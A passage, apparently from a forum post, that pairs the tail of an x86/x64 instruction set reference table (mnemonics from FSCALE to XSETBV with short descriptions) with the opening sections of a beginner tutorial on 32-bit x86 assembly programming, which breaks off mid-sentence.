[/TD] [/TR] [TR] [TD] FSCALE [/TD] [TD] Scale [/TD] [/TR] [TR] [TD] FSIN [/TD] [TD] Sine [/TD] [/TR] [TR] [TD] FSINCOS [/TD] [TD] Sine and Cosine [/TD] [/TR] [TR] [TD] FSQRT [/TD] [TD] Square Root [/TD] [/TR] [TR] [TD] FSTCW/FNSTCW [/TD] [TD] Store x87 FPU Control Word [/TD] [/TR] [TR] [TD] FSTENV/FNSTENV [/TD] [TD] Store x87 FPU Environment [/TD] [/TR] [TR] [TD] FST/FSTP [/TD] [TD] Store Floating Point Value [/TD] [/TR] [TR] [TD] FSTSW/FNSTSW [/TD] [TD] Store x87 FPU Status Word [/TD] [/TR] [TR] [TD] FSUB/FSUBP/FISUB [/TD] [TD] Subtract [/TD] [/TR] [TR] [TD] FSUBR/FSUBRP/FISUBR [/TD] [TD] Reverse Subtract [/TD] [/TR] [TR] [TD] FTST [/TD] [TD] TEST [/TD] [/TR] [TR] [TD] FUCOM/FUCOMP/FUCOMPP [/TD] [TD] Unordered Compare Floating Point Values [/TD] [/TR] [TR] [TD] FXCH [/TD] [TD] Exchange Register Contents [/TD] [/TR] [TR] [TD] FXRSTOR [/TD] [TD] Restore x87 FPU, MMX , XMM, and MXCSR State [/TD] [/TR] [TR] [TD] FXSAVE [/TD] [TD] Save x87 FPU, MMX Technology, and SSE State [/TD] [/TR] [TR] [TD] FXTRACT [/TD] [TD] Extract Exponent and Significand [/TD] [/TR] [TR] [TD] FYL2X [/TD] [TD] Calculate y × log2(x) [/TD] [/TR] [TR] [TD] FYL2XP1 [/TD] [TD] Calculate y × log2(x + 1) [/TD] [/TR] [TR] [TD] GETSEC[CAPABILITIES] [/TD] [TD] Report the SMX Capabilities [/TD] [/TR] [TR] [TD] GETSEC[ENTERACCS] [/TD] [TD] Execute Authenticated Chipset Code [/TD] [/TR] [TR] [TD] GETSEC[PARAMETERS] [/TD] [TD] Report the SMX Parameters [/TD] [/TR] [TR] [TD] GETSEC[sENTER] [/TD] [TD] Enter a Measured Environment [/TD] [/TR] [TR] [TD] GETSEC[sEXIT] [/TD] [TD] Exit Measured Environment [/TD] [/TR] [TR] [TD] GETSEC[sMCTRL] [/TD] [TD] SMX Mode Control [/TD] [/TR] [TR] [TD] GETSEC[WAKEUP] [/TD] [TD] Wake up sleeping processors in measured environment [/TD] [/TR] [TR] [TD] HADDPD [/TD] [TD] Packed Double-FP Horizontal Add [/TD] [/TR] [TR] [TD] HADDPS [/TD] [TD] Packed Single-FP Horizontal Add [/TD] [/TR] [TR] [TD] HLT [/TD] [TD] Halt [/TD] [/TR] [TR] [TD] HSUBPD [/TD] [TD] Packed Double-FP Horizontal Subtract [/TD] [/TR] [TR] [TD] HSUBPS [/TD] [TD] Packed Single-FP Horizontal Subtract [/TD] [/TR] [TR] [TD] IDIV [/TD] [TD] Signed Divide [/TD] [/TR] [TR] [TD] IMUL [/TD] [TD] Signed Multiply [/TD] [/TR] [TR] [TD] IN [/TD] [TD] Input from Port [/TD] [/TR] [TR] [TD] INC [/TD] [TD] Increment by 1 [/TD] [/TR] [TR] [TD] INSERTPS [/TD] [TD] Insert Packed Single Precision Floating-Point Value [/TD] [/TR] [TR] [TD] INS/INSB/INSW/INSD [/TD] [TD] Input from Port to String [/TD] [/TR] [TR] [TD] INT n/INTO/INT 3 [/TD] [TD] Call to Interrupt Procedure [/TD] [/TR] [TR] [TD] INVD [/TD] [TD] Invalidate Internal Caches [/TD] [/TR] [TR] [TD] INVEPT [/TD] [TD] Invalidate Translations Derived from EPT [/TD] [/TR] [TR] [TD] INVLPG [/TD] [TD] Invalidate TLB Entry [/TD] [/TR] [TR] [TD] INVVPID [/TD] [TD] Invalidate Translations Based on VPID [/TD] [/TR] [TR] [TD] IRET/IRETD [/TD] [TD] Interrupt Return [/TD] [/TR] [TR] [TD] Jcc [/TD] [TD] Jump if Condition Is Met [/TD] [/TR] [TR] [TD] JMP [/TD] [TD] Jump [/TD] [/TR] [TR] [TD] LAHF [/TD] [TD] Load Status Flags into AH Register [/TD] [/TR] [TR] [TD] LAR [/TD] [TD] Load Access Rights Byte [/TD] [/TR] [TR] [TD] LDDQU [/TD] [TD] Load Unaligned Integer 128 Bits [/TD] [/TR] [TR] [TD] LDMXCSR [/TD] [TD] Load MXCSR Register [/TD] [/TR] [TR] [TD] LDS/LES/LFS/LGS/LSS [/TD] [TD] Load Far Pointer [/TD] [/TR] [TR] [TD] LEAVE [/TD] [TD] High Level Procedure Exit [/TD] [/TR] [TR] [TD] LFENCE [/TD] [TD] Load Fence [/TD] [/TR] [TR] [TD] LGDT/LIDT [/TD] [TD] Load Global/Interrupt Descriptor Table Register [/TD] [/TR] [TR] [TD] LLDT [/TD] [TD] Load Local Descriptor Table Register [/TD] [/TR] [TR] [TD] LMSW [/TD] [TD] Load Machine Status Word [/TD] [/TR] [TR] [TD] LOCK [/TD] [TD] Assert LOCK# Signal Prefix [/TD] [/TR] [TR] [TD] LODS/LODSB/LODSW/LODSD/LODSQ [/TD] [TD] Load String [/TD] [/TR] [TR] [TD] LSL [/TD] [TD] Load Segment Limit [/TD] [/TR] [TR] [TD] LTR [/TD] [TD] Load Task Register [/TD] [/TR] [TR] [TD] MASKMOVDQU [/TD] [TD] Store Selected Bytes of Double Quadword [/TD] [/TR] [TR] [TD] MASKMOVQ [/TD] [TD] Store Selected Bytes of Quadword [/TD] [/TR] [TR] [TD] MAXPD [/TD] [TD] Return Maximum Packed Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] MAXPS [/TD] [TD] Return Maximum Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] MAXSD [/TD] [TD] Return Maximum Scalar Double-Precision Floating-Point Value [/TD] [/TR] [TR] [TD] MAXSS [/TD] [TD] Return Maximum Scalar Single-Precision Floating-Point Value [/TD] [/TR] [TR] [TD] MFENCE [/TD] [TD] Memory Fence [/TD] [/TR] [TR] [TD] MINPD [/TD] [TD] Return Minimum Packed Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] MINPS [/TD] [TD] Return Minimum Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] MINSD [/TD] [TD] Return Minimum Scalar Double-Precision Floating-Point Value [/TD] [/TR] [TR] [TD] MINSS [/TD] [TD] Return Minimum Scalar Single-Precision Floating-Point Value [/TD] [/TR] [TR] [TD] MONITOR [/TD] [TD] Set Up Monitor Address [/TD] [/TR] [TR] [TD] MOV [/TD] [TD] Move to/from Control Registers [/TD] [/TR] [TR] [TD] MOV [/TD] [TD] Move to/from Debug Registers [/TD] [/TR] [TR] [TD] MOV [/TD] [TD] Move [/TD] [/TR] [TR] [TD] MOVAPD [/TD] [TD] Move Aligned Packed Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] MOVAPS [/TD] [TD] Move Aligned Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] MOVBE [/TD] [TD] Move Data After Swapping Bytes [/TD] [/TR] [TR] [TD] MOVDDUP [/TD] [TD] Move One Double-FP and Duplicate [/TD] [/TR] [TR] [TD] MOVD/MOVQ [/TD] [TD] Move Doubleword/Move Quadword [/TD] [/TR] [TR] [TD] MOVDQ2Q [/TD] [TD] Move Quadword from XMM to MMX Technology Register [/TD] [/TR] [TR] [TD] MOVDQA [/TD] [TD] Move Aligned Double Quadword [/TD] [/TR] [TR] [TD] MOVDQU [/TD] [TD] Move Unaligned Double Quadword [/TD] [/TR] [TR] [TD] MOVHLPS [/TD] [TD] Move Packed Single-Precision Floating-Point Values High to Low [/TD] [/TR] [TR] [TD] MOVHPD [/TD] [TD] Move High Packed Double-Precision Floating-Point Value [/TD] [/TR] [TR] [TD] MOVHPS [/TD] [TD] Move High Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] MOVLHPS [/TD] [TD] Move Packed Single-Precision Floating-Point Values Low to High [/TD] [/TR] [TR] [TD] MOVLPD [/TD] [TD] Move Low Packed Double-Precision Floating-Point Value [/TD] [/TR] [TR] [TD] MOVLPS [/TD] [TD] Move Low Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] MOVMSKPD [/TD] [TD] Extract Packed Double-Precision Floating-Point Sign Mask [/TD] [/TR] [TR] [TD] MOVMSKPS [/TD] [TD] Extract Packed Single-Precision Floating-Point Sign Mask [/TD] [/TR] [TR] [TD] MOVNTDQ [/TD] [TD] Store Double Quadword Using Non-Temporal Hint [/TD] [/TR] [TR] [TD] MOVNTDQA [/TD] [TD] Load Double Quadword Non-Temporal Aligned Hint [/TD] [/TR] [TR] [TD] MOVNTI [/TD] [TD] Store Doubleword Using Non-Temporal Hint [/TD] [/TR] [TR] [TD] MOVNTPD [/TD] [TD] Store Packed Double-Precision Floating-Point Values Using Non-Temporal Hint [/TD] [/TR] [TR] [TD] MOVNTPS [/TD] [TD] Store Packed Single-Precision Floating-Point Values Using Non-Temporal Hint [/TD] [/TR] [TR] [TD] MOVNTQ [/TD] [TD] Store of Quadword Using Non-Temporal Hint [/TD] [/TR] [TR] [TD] MOVQ [/TD] [TD] Move Quadword [/TD] [/TR] [TR] [TD] MOVQ2DQ [/TD] [TD] Move Quadword from MMX Technology to XMM Register [/TD] [/TR] [TR] [TD] MOVSHDUP [/TD] [TD] Move Packed Single-FP High and Duplicate [/TD] [/TR] [TR] [TD] MOVSLDUP [/TD] [TD] Move Packed Single-FP Low and Duplicate [/TD] [/TR] [TR] [TD] MOVS/MOVSB/MOVSW/MOVSD/MOVSQ [/TD] [TD] Move Data from String to String [/TD] [/TR] [TR] [TD] MOVSS [/TD] [TD] Move Scalar Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] MOVSX/MOVSXD [/TD] [TD] Move with Sign-Extension [/TD] [/TR] [TR] [TD] MOVUPD [/TD] [TD] Move Unaligned Packed Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] MOVUPS [/TD] [TD] Move Unaligned Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] MOVZX [/TD] [TD] Move with Zero-Extend [/TD] [/TR] [TR] [TD] MPSADBW [/TD] [TD] Compute Multiple Packed Sums of Absolute Difference [/TD] [/TR] [TR] [TD] MUL [/TD] [TD] Unsigned Multiply [/TD] [/TR] [TR] [TD] MULPD [/TD] [TD] Multiply Packed Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] MULPS [/TD] [TD] Multiply Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] MULSD [/TD] [TD] Multiply Scalar Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] MULSS [/TD] [TD] Multiply Scalar Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] MWAIT [/TD] [TD] Monitor Wait [/TD] [/TR] [TR] [TD] NEG [/TD] [TD] Two's Complement Negation [/TD] [/TR] [TR] [TD] NOP [/TD] [TD] No Operation [/TD] [/TR] [TR] [TD] NOT [/TD] [TD] One's Complement Negation [/TD] [/TR] [TR] [TD] OR [/TD] [TD] Logical Inclusive OR [/TD] [/TR] [TR] [TD] ORPD [/TD] [TD] Bitwise Logical OR of Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] ORPS [/TD] [TD] Bitwise Logical OR of Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] OUT [/TD] [TD] Output to Port [/TD] [/TR] [TR] [TD] OUTS/OUTSB/OUTSW/OUTSD [/TD] [TD] Output String to Port [/TD] [/TR] [TR] [TD] PABSB/PABSW/PABSD [/TD] [TD] Packed Absolute Value [/TD] [/TR] [TR] [TD] PACKUSDW [/TD] [TD] Pack with Unsigned Saturation [/TD] [/TR] [TR] [TD] PACKUSWB [/TD] [TD] Pack with Unsigned Saturation [/TD] [/TR] [TR] [TD] PADDB/PADDW/PADDD [/TD] [TD] Add Packed Integers [/TD] [/TR] [TR] [TD] PADDQ [/TD] [TD] Add Packed Quadword Integers [/TD] [/TR] [TR] [TD] PADDSB/PADDSW [/TD] [TD] Add Packed Signed Integers with Signed Saturation [/TD] [/TR] [TR] [TD] PADDUSB/PADDUSW [/TD] [TD] Add Packed Unsigned Integers with Unsigned Saturation [/TD] [/TR] [TR] [TD] PALIGNR [/TD] [TD] Packed Align Right [/TD] [/TR] [TR] [TD] PAND [/TD] [TD] Logical AND [/TD] [/TR] [TR] [TD] PANDN [/TD] [TD] Logical AND NOT [/TD] [/TR] [TR] [TD] PAUSE [/TD] [TD] Spin Loop Hint [/TD] [/TR] [TR] [TD] PAVGB/PAVGW [/TD] [TD] Average Packed Integers [/TD] [/TR] [TR] [TD] PBLENDVB [/TD] [TD] Variable Blend Packed Bytes [/TD] [/TR] [TR] [TD] PBLENDW [/TD] [TD] Blend Packed Words [/TD] [/TR] [TR] [TD] PCLMULQDQ [/TD] [TD] Carry-Less Multiplication Quadword [/TD] [/TR] [TR] [TD] PCMPEQB/PCMPEQW/PCMPEQD [/TD] [TD] Compare Packed Data for Equal [/TD] [/TR] [TR] [TD] PCMPESTRI [/TD] [TD] Packed Compare Explicit Length Strings, Return Index [/TD] [/TR] [TR] [TD] PCMPESTRM [/TD] [TD] Packed Compare Explicit Length Strings, Return Mask [/TD] [/TR] [TR] [TD] PCMPGTB/PCMPGTW/PCMPGTD [/TD] [TD] Compare Packed Signed Integers for Greater Than [/TD] [/TR] [TR] [TD] PCMPISTRI [/TD] [TD] Packed Compare Implicit Length Strings, Return Index [/TD] [/TR] [TR] [TD] PCMPISTRM [/TD] [TD] Packed Compare Implicit Length Strings, Return Mask [/TD] [/TR] [TR] [TD] PEXTRB/PEXTRD/PEXTRQ [/TD] [TD] Extract Byte/Dword/Qword [/TD] [/TR] [TR] [TD] PHADDSW [/TD] [TD] Packed Horizontal Add and Saturate [/TD] [/TR] [TR] [TD] PHADDW/PHADDD [/TD] [TD] Packed Horizontal Add [/TD] [/TR] [TR] [TD] PHMINPOSUW [/TD] [TD] Packed Horizontal Word Minimum [/TD] [/TR] [TR] [TD] PHSUBSW [/TD] [TD] Packed Horizontal Subtract and Saturate [/TD] [/TR] [TR] [TD] PHSUBW/PHSUBD [/TD] [TD] Packed Horizontal Subtract [/TD] [/TR] [TR] [TD] PINSRB/PINSRD/PINSRQ [/TD] [TD] Insert Byte/Dword/Qword [/TD] [/TR] [TR] [TD] PMADDUBSW [/TD] [TD] Multiply and Add Packed Signed and Unsigned Bytes [/TD] [/TR] [TR] [TD] PMADDWD [/TD] [TD] Multiply and Add Packed Integers [/TD] [/TR] [TR] [TD] PMAXSB [/TD] [TD] Maximum of Packed Signed Byte Integers [/TD] [/TR] [TR] [TD] PMAXSD [/TD] [TD] Maximum of Packed Signed Dword Integers [/TD] [/TR] [TR] [TD] PMAXSW [/TD] [TD] Maximum of Packed Signed Word Integers [/TD] [/TR] [TR] [TD] PMAXUB [/TD] [TD] Maximum of Packed Unsigned Byte Integers [/TD] [/TR] [TR] [TD] PMAXUD [/TD] [TD] Maximum of Packed Unsigned Dword Integers [/TD] [/TR] [TR] [TD] PMAXUW [/TD] [TD] Maximum of Packed Word Integers [/TD] [/TR] [TR] [TD] PMINSB [/TD] [TD] Minimum of Packed Signed Byte Integers [/TD] [/TR] [TR] [TD] PMINSD [/TD] [TD] Minimum of Packed Dword Integers [/TD] [/TR] [TR] [TD] PMINSW [/TD] [TD] Minimum of Packed Signed Word Integers [/TD] [/TR] [TR] [TD] PMINUB [/TD] [TD] Minimum of Packed Unsigned Byte Integers [/TD] [/TR] [TR] [TD] PMINUD [/TD] [TD] Minimum of Packed Dword Integers [/TD] [/TR] [TR] [TD] PMINUW [/TD] [TD] Minimum of Packed Word Integers [/TD] [/TR] [TR] [TD] PMOVMSKB [/TD] [TD] Move Byte Mask [/TD] [/TR] [TR] [TD] PMOVSX [/TD] [TD] Packed Move with Sign Extend [/TD] [/TR] [TR] [TD] PMOVZX [/TD] [TD] Packed Move with Zero Extend [/TD] [/TR] [TR] [TD] PMULDQ [/TD] [TD] Multiply Packed Signed Dword Integers [/TD] [/TR] [TR] [TD] PMULHRSW [/TD] [TD] Packed Multiply High with Round and Scale [/TD] [/TR] [TR] [TD] PMULHUW [/TD] [TD] Multiply Packed Unsigned Integers and Store High Result [/TD] [/TR] [TR] [TD] PMULHW [/TD] [TD] Multiply Packed Signed Integers and Store High Result [/TD] [/TR] [TR] [TD] PMULLD [/TD] [TD] Multiply Packed Signed Dword Integers and Store Low Result [/TD] [/TR] [TR] [TD] PMULLW [/TD] [TD] Multiply Packed Signed Integers and Store Low Result [/TD] [/TR] [TR] [TD] PMULUDQ [/TD] [TD] Multiply Packed Unsigned Doubleword Integers [/TD] [/TR] [TR] [TD] POP [/TD] [TD] Pop a Value from the Stack [/TD] [/TR] [TR] [TD] POPA/POPAD [/TD] [TD] Pop All General-Purpose Registers [/TD] [/TR] [TR] [TD] POPCNT [/TD] [TD] Return the Count of Number of Bits Set to 1 [/TD] [/TR] [TR] [TD] POPF/POPFD/POPFQ [/TD] [TD] Pop Stack into EFLAGS Register [/TD] [/TR] [TR] [TD] POR [/TD] [TD] Bitwise Logical OR [/TD] [/TR] [TR] [TD] PREFETCHh [/TD] [TD] Prefetch Data Into Caches [/TD] [/TR] [TR] [TD] PSADBW [/TD] [TD] Compute Sum of Absolute Differences [/TD] [/TR] [TR] [TD] PSHUFB [/TD] [TD] Packed Shuffle Bytes [/TD] [/TR] [TR] [TD] PSHUFD [/TD] [TD] Shuffle Packed Doublewords [/TD] [/TR] [TR] [TD] PSHUFHW [/TD] [TD] Shuffle Packed High Words [/TD] [/TR] [TR] [TD] PSHUFLW [/TD] [TD] Shuffle Packed Low Words [/TD] [/TR] [TR] [TD] PSHUFW [/TD] [TD] Shuffle Packed Words [/TD] [/TR] [TR] [TD] PSIGNB/PSIGNW/PSIGND [/TD] [TD] Packed SIGN [/TD] [/TR] [TR] [TD] PSLLW/PSLLD/PSLLQ [/TD] [TD] Shift Packed Data Left Logical [/TD] [/TR] [TR] [TD] PSRAW/PSRAD [/TD] [TD] Shift Packed Data Right Arithmetic [/TD] [/TR] [TR] [TD] PSRLDQ [/TD] [TD] Shift Double Quadword Right Logical [/TD] [/TR] [TR] [TD] PSRLW/PSRLD/PSRLQ [/TD] [TD] Shift Packed Data Right Logical [/TD] [/TR] [TR] [TD] PSUBB/PSUBW/PSUBD [/TD] [TD] Subtract Packed Integers [/TD] [/TR] [TR] [TD] PSUBQ [/TD] [TD] Subtract Packed Quadword Integers [/TD] [/TR] [TR] [TD] PSUBSB/PSUBSW [/TD] [TD] Subtract Packed Signed Integers with Signed Saturation [/TD] [/TR] [TR] [TD] PSUBUSB/PSUBUSW [/TD] [TD] Subtract Packed Unsigned Integers with Unsigned Saturation [/TD] [/TR] [TR] [TD] PTEST [/TD] [TD] Logical Compare [/TD] [/TR] [TR] [TD] PUNPCKHBW/PUNPCKHWD/PUNPCKHDQ/PUNPCKHQDQ [/TD] [TD] Unpack High Data [/TD] [/TR] [TR] [TD] PUNPCKLBW/PUNPCKLWD/PUNPCKLDQ/PUNPCKLQDQ [/TD] [TD] Unpack Low Data [/TD] [/TR] [TR] [TD] PUSHA/PUSHAD [/TD] [TD] Push All General-Purpose Registers [/TD] [/TR] [TR] [TD] PUSHF/PUSHFD [/TD] [TD] Push EFLAGS Register onto the Stack [/TD] [/TR] [TR] [TD] PXOR [/TD] [TD] Logical Exclusive OR [/TD] [/TR] [TR] [TD] RCL/RCR/ROL/ROR [/TD] [TD] Perform bit rotation [/TD] [/TR] [TR] [TD] RCPPS [/TD] [TD] Compute Reciprocals of Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] RCPSS [/TD] [TD] Compute Reciprocal of Scalar Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] RDMSR [/TD] [TD] Read from Model Specific Register [/TD] [/TR] [TR] [TD] RDPMC [/TD] [TD] Read Performance-Monitoring Counters [/TD] [/TR] [TR] [TD] RDTSC [/TD] [TD] Read Time-Stamp Counter [/TD] [/TR] [TR] [TD] RDTSCP [/TD] [TD] Read Time-Stamp Counter and Processor ID [/TD] [/TR] [TR] [TD] REP/REPE/REPZ/REPNE/REPNZ [/TD] [TD] Repeat String Operation Prefix [/TD] [/TR] [TR] [TD] ROUNDPD [/TD] [TD] Round Packed Double Precision Floating-Point Values [/TD] [/TR] [TR] [TD] ROUNDPS [/TD] [TD] Round Packed Single Precision Floating-Point Values [/TD] [/TR] [TR] [TD] ROUNDSD [/TD] [TD] Round Scalar Double Precision Floating-Point Values [/TD] [/TR] [TR] [TD] ROUNDSS [/TD] [TD] Round Scalar Single Precision Floating-Point Values [/TD] [/TR] [TR] [TD] RSM [/TD] [TD] Resume from System Management Mode [/TD] [/TR] [TR] [TD] RSQRTPS [/TD] [TD] Compute Reciprocals of Square Roots of Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] RSQRTSS [/TD] [TD] Compute Reciprocal of Square Root of Scalar Single-Precision Floating-Point Value [/TD] [/TR] [TR] [TD] SAHF [/TD] [TD] Store AH into Flags [/TD] [/TR] [TR] [TD] SAL/SAR/SHL/SHR [/TD] [TD] Shift [/TD] [/TR] [TR] [TD] SCAS/SCASB/SCASW/SCASD [/TD] [TD] Scan String [/TD] [/TR] [TR] [TD] SFENCE [/TD] [TD] Store Fence [/TD] [/TR] [TR] [TD] SGDT [/TD] [TD] Store Global Descriptor Table Register [/TD] [/TR] [TR] [TD] SHLD [/TD] [TD] Double Precision Shift Left [/TD] [/TR] [TR] [TD] SHRD [/TD] [TD] Double Precision Shift Right [/TD] [/TR] [TR] [TD] SHUFPD [/TD] [TD] Shuffle Packed Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] SHUFPS [/TD] [TD] Shuffle Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] SIDT [/TD] [TD] Store Interrupt Descriptor Table Register [/TD] [/TR] [TR] [TD] SLDT [/TD] [TD] Store Local Descriptor Table Register [/TD] [/TR] [TR] [TD] SMSW [/TD] [TD] Store Machine Status Word [/TD] [/TR] [TR] [TD] SQRTPS [/TD] [TD] Compute Square Roots of Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] SQRTSD [/TD] [TD] Compute Square Root of Scalar Double-Precision Floating-Point Value [/TD] [/TR] [TR] [TD] SQRTSS [/TD] [TD] Compute Square Root of Scalar Single-Precision Floating-Point Value [/TD] [/TR] [TR] [TD] STC [/TD] [TD] Set Carry Flag [/TD] [/TR] [TR] [TD] STD [/TD] [TD] Set Direction Flag [/TD] [/TR] [TR] [TD] STI [/TD] [TD] Set Interrupt Flag [/TD] [/TR] [TR] [TD] STMXCSR [/TD] [TD] Store MXCSR Register State [/TD] [/TR] [TR] [TD] STOS/STOSB/STOSW/STOSD/STOSQ [/TD] [TD] Store String [/TD] [/TR] [TR] [TD] SUB [/TD] [TD] Subtract [/TD] [/TR] [TR] [TD] SUBPD [/TD] [TD] Subtract Packed Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] SUBPS [/TD] [TD] Subtract Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] SUBSD [/TD] [TD] Subtract Scalar Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] SUBSS [/TD] [TD] Subtract Scalar Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] SWAPGS [/TD] [TD] Swap GS Base Register [/TD] [/TR] [TR] [TD] SYSCALL [/TD] [TD] Fast System Call [/TD] [/TR] [TR] [TD] SYSENTER [/TD] [TD] Fast System Call [/TD] [/TR] [TR] [TD] SYSEXIT [/TD] [TD] Fast Return from Fast System Call [/TD] [/TR] [TR] [TD] SYSRET [/TD] [TD] Return From Fast System Call [/TD] [/TR] [TR] [TD] TEST [/TD] [TD] Logical Compare [/TD] [/TR] [TR] [TD] UCOMISD [/TD] [TD] Unordered Compare Scalar Double-Precision Floating-Point Values and Set EFLAGS [/TD] [/TR] [TR] [TD] UCOMISS [/TD] [TD] Unordered Compare Scalar Single-Precision Floating-Point Values and Set EFLAGS [/TD] [/TR] [TR] [TD] UD2 [/TD] [TD] Undefined Instruction [/TD] [/TR] [TR] [TD] UNPCKHPD [/TD] [TD] Unpack and Interleave High Packed Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] UNPCKHPS [/TD] [TD] Unpack and Interleave High Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] UNPCKLPD [/TD] [TD] Unpack and Interleave Low Packed Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] UNPCKLPS [/TD] [TD] Unpack and Interleave Low Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] VERR/VERW [/TD] [TD] Verify a Segment for Reading or Writing [/TD] [/TR] [TR] [TD] VMCALL [/TD] [TD] Call to VM Monitor [/TD] [/TR] [TR] [TD] VMCLEAR [/TD] [TD] Clear Virtual-Machine Control Structure [/TD] [/TR] [TR] [TD] VMLAUNCH/VMRESUME [/TD] [TD] Launch/Resume Virtual Machine [/TD] [/TR] [TR] [TD] VMPTRLD [/TD] [TD] Load Pointer to Virtual-Machine Control Structure [/TD] [/TR] [TR] [TD] VMPTRST [/TD] [TD] Store Pointer to Virtual-Machine Control Structure [/TD] [/TR] [TR] [TD] VMREAD [/TD] [TD] Read Field from Virtual-Machine Control Structure [/TD] [/TR] [TR] [TD] VMWRITE [/TD] [TD] Write Field to Virtual-Machine Control Structure [/TD] [/TR] [TR] [TD] VMXOFF [/TD] [TD] Leave VMX Operation [/TD] [/TR] [TR] [TD] VMXON [/TD] [TD] Enter VMX Operation [/TD] [/TR] [TR] [TD] WAIT/FWAIT [/TD] [TD] Wait [/TD] [/TR] [TR] [TD] WBINVD [/TD] [TD] Write Back and Invalidate Cache [/TD] [/TR] [TR] [TD] WRMSR [/TD] [TD] Write to Model Specific Register [/TD] [/TR] [TR] [TD] XADD [/TD] [TD] Exchange and Add [/TD] [/TR] [TR] [TD] XCHG [/TD] [TD] Exchange Register/Memory with Register [/TD] [/TR] [TR] [TD] XGETBV [/TD] [TD] Get Value of Extended Control Register [/TD] [/TR] [TR] [TD] XLAT/XLATB [/TD] [TD] Table Look-up Translation [/TD] [/TR] [TR] [TD] XOR [/TD] [TD] Logical Exclusive OR [/TD] [/TR] [TR] [TD] XORPD [/TD] [TD] Bitwise Logical XOR for Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] XORPS [/TD] [TD] Bitwise Logical XOR for Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] XRSTOR [/TD] [TD] Restore Processor Extended States [/TD] [/TR] [TR] [TD] XSAVE [/TD] [TD] Save Processor Extended States [/TD] [/TR] [TR] [TD] XSETBV [/TD] [TD] Set Extended Control Register [/TD] [/TR] [/TABLE] Sursa: x86/x64 Instruction Set Reference

x86 Assembly for Userland Applications: A Hands-On Approach 1. Introduction 2. What is Assembly? 3. What is the Purpose of Learning Assembly? 4. Getting to know the x86 Architecture 5. Bits, Bytes and Numbers 6. Bit Operations 7. Signed Integers 8. The First Steps 9. Writing Windows Applications Using x86 32-bit Assembly 9.1 MASM 9.2 FASM 9.3 NASM [*]10. Writing Linux/BSD Applications Using x86 32-bit Assembly [*] 10.1 as [*]11. Partial Registers [*]12. Addresses [*]13. Control Structures [*]14. Multiplication and Division of Integers [*]15. Floating Point Operations [h=1]Introduction[/h] This document is an introduction to creating programs for microprocessors of the x86 architecture family - in particular 32-bit code. The reader is expected to be familiar with programming in C/C++ (or similar languages such as Java at least) and the essential API of the operating system they are using. Some mathematical knowledge up to highschool/university level is essential for understanding a lot of things aswell. I will try not to be too OS specific but the environments I am going to focus on in this document are Windows, Linux and BSD. Pure knowledge of assembly in itself is useless if you do not know how to combine it with the API of the operating system you are going to run it on so I want to make sure that this will be demonstrated to a certain extent. It is not that different from the way you would do it in a high level programming language such as C++ so it is not difficult to understand. [h=1]What is Assembly?[/h] Assembly (short ASM) is the lowest level programming possible - if you are a programmer and you want to get as close to the hardware as you can get then this is the place you want to be. In assembly code you get to control every single instruction that your CPU (central processing unit) is going to execute. There are different assembly languages for different microprocessor architectures and all of them are different from each other. Usually they are totally incompatible so you will have to write assembly code that is specific to the particular architecture you want your program to run on. In assembly you write instructions using the ASCII character set which directly represent machine code instructions that are executed by your processor. The names of these instructions are usually extremely short and are often abbreviations of full names. These assembly instruction names are called mnemonics. Before your microprocessor can actually run the program you have written in assembly you will have to run it through a program which translates all the mnemonics and arguments to numerical machine code. This program is called an assembler. Assemblers often also support more features than just the pure instructions to make the jobs easier for the programmers but you will see how they do that later on. [h=1]What is the Purpose of Learning Assembly?[/h] This is a very important question and subject to a lot of discussion. My answer to this question is a list of reasons, really. Better understanding of what goes on at the lowest level can make you a better programmer at a higher level. It allows you to see what goes on behind the scenes and it often gives you a totally new perspective on things. It has its uses in writing high performance parts of high level language programming where you need to use features of your processor that are not easily accessible in that high level language. Knowing assembly is obviously also necessary to be able to write compilers for a particular microprocessor architecture which convert high level language code to machine instructions. The truth is that most people learn x86 ASM nowadays to crack commercial software, to reverse engineer closed source programs and to write cheats for computer games. Cracking is the one that made me learn it but I have to admit that I never got particularly good at it and I got totally distracted from my original goal in the process of understanding how it works. It is my experience that it is essential to learn how to write x86 ASM yourself first in order to be successful at cracking and reverse engineering. Knowing how to manually translate a C++ program to assembly is a valuable skill to have for this purpose. [h=1]Getting to know the x86 Architecture[/h] So, what are we dealing with here? The IA-32 microprocessor is basically a register machine which uses a CISC (complex instruction set computer) instruction set. At first I am going to explain what a register machine is. After that I will move on to the CISC part. A register machine is a computing device which stores results of arithmetic operations and such primarily in so called registers. These are small but highly efficient binary storage units inside the processor which can hold integer values. When you are doing assembly programming you deal with them all the time. They are incapable of holding a lot of data at once but they are essential as temporary placeholders used in most instructions executed by the processor. In the terms of the memory 